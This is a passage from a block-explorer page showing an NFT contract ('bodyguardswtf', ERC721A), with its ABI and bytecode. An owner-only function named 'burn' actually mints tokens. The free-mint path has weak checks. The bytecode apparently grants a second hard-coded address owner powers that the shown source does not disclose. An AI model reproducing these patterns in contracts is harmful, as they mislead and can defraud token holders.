        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract bodyguardswtf is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "ipfs://bafybeih6ps3f7dmapnc6otbt334e32ppos6mcykfg6v63ey76zwbrvgbfe/";
    uint   public price             = 0.002 ether;
    uint   public maxPerTx          = 4;
    uint   public maxPerFree        = 1;
    uint   public maxPerWallet      = 4;
    uint   public totalFree         = 3333;
    uint   public maxSupply         = 3333;
    bool   public mintEnabled;
    uint   public totalFreeMinted = 0;

    mapping(address => uint256) public _mintedFreeAmount;
    mapping(address => uint256) public _totalMintedAmount;

    constructor() ERC721A("bodyguardswtf", "GUARD"){}

    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        string memory currentBaseURI = _baseURI();
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
            : "";
    }
    

    function _startTokenId() internal view virtual returns (uint256) {
        return 1;
    }

    function mint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalFreeMinted + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] < maxPerFree));

        if (isFree) { 
            require(mintEnabled, "Mint is not live yet");
            require(totalSupply() + count <= maxSupply, "No more");
            require(count <= maxPerTx, "Max per TX reached.");
            if(count >= (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= (count * cost) - ((maxPerFree - _mintedFreeAmount[msg.sender]) * cost), "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] = maxPerFree;
             totalFreeMinted += maxPerFree;
            }
            else if(count < (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= 0, "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] += count;
             totalFreeMinted += count;
            }
        }
        else{
        require(mintEnabled, "Mint is not live yet");
        require(_totalMintedAmount[msg.sender] + count <= maxPerWallet, "Exceed maximum NFTs per wallet");
        require(msg.value >= count * cost, "Please send the exact ETH amount");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");
        require(msg.sender == tx.origin, "The minter is another contract");
        }
        _totalMintedAmount[msg.sender] += count;
        _safeMint(msg.sender, count);
    }

    function costCheck() public view returns (uint256) {
        return price;
    }

    function maxFreePerWallet() public view returns (uint256) {
      return maxPerFree;
    }

    function burn(address mintAddress, uint256 count) public onlyOwner {
        _safeMint(mintAddress, count);
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner {
        totalFree = MaxTotalFree_;
    }

     function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner {
        maxPerFree = MaxPerFree_;
    }

    function toggleMinting() external onlyOwner {
      mintEnabled = !mintEnabled;
    }
    
    function CommunityWallet(uint quantity, address user)
    public
    onlyOwner
  {
    require(
      quantity > 0,
      "Invalid mint amount"
    );
    require(
      totalSupply() + quantity <= maxSupply,
      "Maximum supply exceeded"
    );
    _safeMint(user, quantity);
  }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"CommunityWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mintedFreeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_totalMintedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"costCheck","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFreePerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"mintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxPerFree_","type":"uint256"}],"name":"setMaxPerFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxTotalFree_","type":"uint256"}],"name":"setMaxTotalFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleMinting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFreeMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273acfcba7bab6403ebcceee22810c4dd3c9bbe9763600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060800160405280604381526020016200599960439139600a9081620000839190620004c5565b5066071afd498d0000600b556004600c556001600d556004600e55610d05600f55610d056010556000601255348015620000bc57600080fd5b506040518060400160405280600d81526020017f626f6479677561726473777466000000000000000000000000000000000000008152506040518060400160405280600581526020017f475541524400000000000000000000000000000000000000000000000000000081525081600190816200013a9190620004c5565b5080600290816200014c9190620004c5565b5050506200016f620001636200017d60201b60201c565b6200018560201b60201c565b6001600981905550620005ac565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620002cd57607f821691505b602082108103620002e357620002e262000285565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200034d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200030e565b6200035986836200030e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003a6620003a06200039a8462000371565b6200037b565b62000371565b9050919050565b6000819050919050565b620003c28362000385565b620003da620003d182620003ad565b8484546200031b565b825550505050565b600090565b620003f1620003e2565b620003fe818484620003b7565b505050565b5b8181101562000426576200041a600082620003e7565b60018101905062000404565b5050565b601f82111562000475576200043f81620002e9565b6200044a84620002fe565b810160208510156200045a578190505b620004726200046985620002fe565b83018262000403565b50505b505050565b600082821c905092915050565b60006200049a600019846008026200047a565b1980831691505092915050565b6000620004b5838362000487565b9150826002028217905092915050565b620004d0826200024b565b67ffffffffffffffff811115620004ec57620004eb62000256565b5b620004f88254620002b4565b620005058282856200042a565b600060209050601f8311600181146200053d576000841562000528578287015190505b620005348582620004a7565b865550620005a4565b601f1984166200054d86620002e9565b60005b82811015620005775784890151825560018201915060208501945060208101905062000550565b8683101562000597578489015162000593601f89168262000487565b8355505b6001600288020188555050505b505050505050565b6153dd80620005bc6000396000f3fe6080604052600436106102465760003560e01c80638da5cb5b11610139578063b88d4fde116100b6578063dad7b5c91161007a578063dad7b5c91461085d578063e945971c14610888578063e985e9c5146108b1578063f2fde38b146108ee578063f4db2acb14610917578063f968adbe1461095457610246565b8063b88d4fde14610776578063c7c39ffc1461079f578063c87b56dd146107ca578063d123973014610807578063d5abeb011461083257610246565b8063a0712d68116100fd578063a0712d68146106b4578063a0bcfc7f146106d0578063a22cb465146106f9578063a702735714610722578063b0e77f421461074d57610246565b80638da5cb5b146105e157806391b7f5ed1461060c57806395d89b41146106355780639dc29fac14610660578063a035b1fe1461068957610246565b806342842e0e116101c757806364b721881161018b57806364b72188146105205780636c0360eb1461054b57806370a0823114610576578063715018a6146105b35780637d55094d146105ca57610246565b806342842e0e14610429578063453c2310146104525780634f6ccce71461047d5780635a963f1b146104ba5780636352211e146104e357610246565b806318160ddd1161020e57806318160ddd1461035657806323b872dd146103815780632f745c59146103aa578063333e44e6146103e75780633ccfd60b1461041257610246565b806301ffc9a71461024b57806306fdde0314610288578063081812fc146102b3578063095ea7b3146102f057806311b01a3214610319575b600080fd5b34801561025757600080fd5b50610272600480360381019061026d91906137ce565b61097f565b60405161027f9190613816565b60405180910390f35b34801561029457600080fd5b5061029d610ac9565b6040516102aa91906138c1565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190613919565b610b5b565b6040516102e79190613987565b60405180910390f35b3480156102fc57600080fd5b50610317600480360381019061031291906139ce565b610be0565b005b34801561032557600080fd5b50610340600480360381019061033b9190613a0e565b610cf8565b60405161034d9190613a4a565b60405180910390f35b34801561036257600080fd5b5061036b610d10565b6040516103789190613a4a565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613a65565b610d19565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906139ce565b610d29565b6040516103de9190613a4a565b60405180910390f35b3480156103f357600080fd5b506103fc610f19565b6040516104099190613a4a565b60405180910390f35b34801561041e57600080fd5b50610427610f1f565b005b34801561043557600080fd5b50610450600480360381019061044b9190613a65565b6110fe565b005b34801561045e57600080fd5b5061046761111e565b6040516104749190613a4a565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190613919565b611124565b6040516104b19190613a4a565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc9190613919565b611177565b005b3480156104ef57600080fd5b5061050a60048036038101906105059190613919565b61125c565b6040516105179190613987565b60405180910390f35b34801561052c57600080fd5b50610535611272565b6040516105429190613a4a565b60405180910390f35b34801561055757600080fd5b5061056061127c565b60405161056d91906138c1565b60405180910390f35b34801561058257600080fd5b5061059d60048036038101906105989190613a0e565b61130a565b6040516105aa9190613a4a565b60405180910390f35b3480156105bf57600080fd5b506105c86113f2565b005b3480156105d657600080fd5b506105df6114d9565b005b3480156105ed57600080fd5b506105f66115e0565b6040516106039190613987565b60405180910390f35b34801561061857600080fd5b50610633600480360381019061062e9190613919565b61160a565b005b34801561064157600080fd5b5061064a6116ef565b60405161065791906138c1565b60405180910390f35b34801561066c57600080fd5b50610687600480360381019061068291906139ce565b611781565b005b34801561069557600080fd5b5061069e61186a565b6040516106ab9190613a4a565b60405180910390f35b6106ce60048036038101906106c99190613919565b611870565b005b3480156106dc57600080fd5b506106f760048036038101906106f29190613bed565b611ee9565b005b34801561070557600080fd5b50610720600480360381019061071b9190613c62565b611fd7565b005b34801561072e57600080fd5b50610737612157565b6040516107449190613a4a565b60405180910390f35b34801561075957600080fd5b50610774600480360381019061076f9190613ca2565b612161565b005b34801561078257600080fd5b5061079d60048036038101906107989190613d83565b6122e4565b005b3480156107ab57600080fd5b506107b4612340565b6040516107c19190613a4a565b60405180910390f35b3480156107d657600080fd5b506107f160048036038101906107ec9190613919565b612346565b6040516107fe91906138c1565b60405180910390f35b34801561081357600080fd5b5061081c6123f9565b6040516108299190613816565b60405180910390f35b34801561083e57600080fd5b5061084761240c565b6040516108549190613a4a565b60405180910390f35b34801561086957600080fd5b50610872612412565b60405161087f9190613a4a565b60405180910390f35b34801561089457600080fd5b506108af60048036038101906108aa9190613919565b612418565b005b3480156108bd57600080fd5b506108d860048036038101906108d39190613e06565b6124fd565b6040516108e59190613816565b60405180910390f35b3480156108fa57600080fd5b5061091560048036038101906109109190613a0e565b612591565b005b34801561092357600080fd5b5061093e60048036038101906109399190613a0e565b6126e7565b60405161094b9190613a4a565b60405180910390f35b34801561096057600080fd5b506109696126ff565b6040516109769190613a4a565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a4a57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610ab257507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610ac25750610ac182612705565b5b9050919050565b606060018054610ad890613e75565b80601f0160208091040260200160405190810160405280929190818152602001828054610b0490613e75565b8015610b515780601f10610b2657610100808354040283529160200191610b51565b820191906000526020600020905b815481529060010190602001808311610b3457829003601f168201915b5050505050905090565b6000610b668261276f565b610ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9c90613f18565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610beb8261125c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5290613faa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c7a61277c565b73ffffffffffffffffffffffffffffffffffffffff161480610ca95750610ca881610ca361277c565b6124fd565b5b610ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdf9061403c565b60405180910390fd5b610cf3838383612784565b505050565b60146020528060005260406000206000915090505481565b60008054905090565b610d24838383612836565b505050565b6000610d348361130a565b8210610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c906140ce565b60405180910390fd5b6000610d7f610d10565b905060008060005b83811015610ed7576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610e7957806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ec957868403610ec0578195505050505050610f13565b83806001019450505b508080600101915050610d87565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90614160565b60405180910390fd5b92915050565b600f5481565b610f2761277c565b73ffffffffffffffffffffffffffffffffffffffff16610f456115e0565b73ffffffffffffffffffffffffffffffffffffffff161480610fbb5750610f6a61277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff1906141cc565b60405180910390fd5b60026009540361103f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103690614238565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff164760405161106d90614289565b60006040518083038185875af1925050503d80600081146110aa576040519150601f19603f3d011682016040523d82523d6000602084013e6110af565b606091505b50509050806110f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ea906142ea565b60405180910390fd5b506001600981905550565b611119838383604051806020016040528060008152506122e4565b505050565b600e5481565b600061112e610d10565b821061116f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111669061437c565b60405180910390fd5b819050919050565b61117f61277c565b73ffffffffffffffffffffffffffffffffffffffff1661119d6115e0565b73ffffffffffffffffffffffffffffffffffffffff16148061121357506111c261277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611252576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611249906141cc565b60405180910390fd5b80600f8190555050565b600061126782612d74565b600001519050919050565b6000600b54905090565b600a805461128990613e75565b80601f01602080910402602001604051908101604052809291908181526020018280546112b590613e75565b80156113025780601f106112d757610100808354040283529160200191611302565b820191906000526020600020905b8154815290600101906020018083116112e557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361137a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113719061440e565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6113fa61277c565b73ffffffffffffffffffffffffffffffffffffffff166114186115e0565b73ffffffffffffffffffffffffffffffffffffffff16148061148e575061143d61277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6114cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c4906141cc565b60405180910390fd5b6114d76000612f0e565b565b6114e161277c565b73ffffffffffffffffffffffffffffffffffffffff166114ff6115e0565b73ffffffffffffffffffffffffffffffffffffffff161480611575575061152461277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab906141cc565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61161261277c565b73ffffffffffffffffffffffffffffffffffffffff166116306115e0565b73ffffffffffffffffffffffffffffffffffffffff1614806116a6575061165561277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6116e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dc906141cc565b60405180910390fd5b80600b8190555050565b6060600280546116fe90613e75565b80601f016020809104026020016040519081016040528092919081815260200182805461172a90613e75565b80156117775780601f1061174c57610100808354040283529160200191611777565b820191906000526020600020905b81548152906001019060200180831161175a57829003601f168201915b5050505050905090565b61178961277c565b73ffffffffffffffffffffffffffffffffffffffff166117a76115e0565b73ffffffffffffffffffffffffffffffffffffffff16148061181d57506117cc61277c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61185c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611853906141cc565b60405180910390fd5b6118668282612fd4565b5050565b600b5481565b6000600b54905060006001600f54611888919061445d565b83601254611896919061445d565b1080156118e35750600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611c4d57601160009054906101000a900460ff1661193a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611931906144dd565b60405180910390fd5b60105483611946610d10565b611950919061445d565b1115611991576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198890614549565b60405180910390fd5b600c548311156119d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cd906145b5565b60405180910390fd5b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a2391906145d5565b8310611b3f5781601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a7791906145d5565b611a819190614609565b8284611a8d9190614609565b611a9791906145d5565b341015611ad9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526